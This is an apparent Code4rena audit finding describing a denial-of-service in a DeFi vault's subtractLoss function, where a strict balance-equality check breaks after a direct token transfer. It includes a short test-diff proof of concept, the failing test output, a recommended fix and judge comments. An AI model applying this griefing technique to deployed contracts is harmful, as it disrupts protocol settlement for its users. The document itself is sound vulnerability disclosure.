Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 184/189
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
Function PerpetualAtlanticVaultLP#subtractLoss is used to adjust totalCollateral
parameter and called by PerpetualAtlanticVault#settle() function, which is used to settle options by admin. When adjust the totalCollateral
, it require collateral.balanceOf(address(this)) == _totalCollateral - loss
to satisfy the condition. But a malicious user can transfer collateral token to PerpetualAtlanticVault contract directly to break the condition. Such that, protocol settle options function would dos.
Below is the Poc to show protocol would dos directly, just insert such code into tests/rdpxV2-core/Integration.t.sol#testIntegration test case:
--- a/tests/rdpxV2-core/Integration.t.sol +++ b/tests/rdpxV2-core/Integration.t.sol @@ -116,6 +116,14 @@ contract Integration is ERC721Holder, Setup { ); rdpxPriceOracle.updateRdpxPrice(2 * 1e7); + // transfer to vaultLp directly + address attacker = address(100); + console.log("attacker: ", attacker); + weth.mint(attacker, 1); + vm.startPrank(attacker); + weth.transfer(address(vaultLp), 1); + vm.stopPrank(); + // settle options uint256[] memory ids = new uint256[](6); ids[0] = 2;
Test result: [FAIL. Reason: Not enough collateral was sent out] testIntegration() (gas: 6085101)
.
vscode, manual review
Use gt instead of equal operator.
require( collateral.balanceOf(address(this)) >= _totalCollateral - loss, "Not enough collateral was sent out" );
DoS
#0 - c4-pre-sort
2023-09-09T09:54:58Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:25Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:31:15Z
GalloDaSballo marked the issue as satisfactory